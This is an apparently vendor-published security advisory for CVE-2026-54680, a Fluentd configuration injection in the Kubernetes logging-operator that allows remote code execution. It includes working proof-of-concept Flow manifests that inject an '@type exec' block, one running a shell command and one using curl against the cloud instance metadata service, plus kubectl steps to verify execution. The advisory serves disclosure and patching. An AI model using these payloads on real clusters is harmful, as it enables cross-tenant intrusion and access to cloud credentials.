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CRITICAL severity

CVE-2026-54680 — logging-operator

CRITICALFix: kube-logging/logging-operator@cf437d7

CVE-2026-54680 is a critical-severity (CVSS 9.9) CWE-74 vulnerability in github.com/kube-logging/logging-operator. A fix is available for github.com/kube-logging/logging-operator — see the affected versions and patch details below.

Logging operator has Fluentd configuration injection that allows remote code execution

Also known asGHSA-mjqf-28ph-426hGO-2026-6142
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54680.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs55th percentile — riskier than 55% of all scored CVEsHighest risk
0.00%0.43%0.86%1.29%0.4%0.8%0.8%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-54680 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,189 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/kube-logging/logging-operator

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.

In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.

Details

The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.

https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87

Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.

One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.

https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103

The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.

PoC

The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.

First, create a minimal Output as the log destination.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
  name: sink
  namespace: tenant-a
spec:
  nullout: {}

Next, create a Flow whose record_transformer.records value contains an injected @type exec block.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: exfil
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "id > /tmp/pwned"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink

After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.

kubectl apply -f output.yaml -f flow.yaml

kubectl -n <control-namespace> get secret <logging>-fluentd-app \
  -o go-template='{{ index .data "fluentd.conf" }}' \
  | base64 -d | grep -A8 '@type exec'

When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.

kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)

Impact

This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator. Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.

In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following Flow example uses IMDSv1 only to make reachability easy to demonstrate.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: imds-poc
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/kube-logging/logging-operatorall versions0.0.0-20260608145523-cf437d7f1e05go get github.com/kube-logging/logging-operator@v0.0.0-20260608145523-cf437d7f1e05

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kube-logging/logging-operator, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/kube-logging/logging-operator to 0.0.0-20260608145523-cf437d7f1e05 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54680 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary The Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines. In the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator. ### Details Th
O3 Security · Impact-Aware SCA

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CVE-2026-54680: logging-operator RCE — Fix Available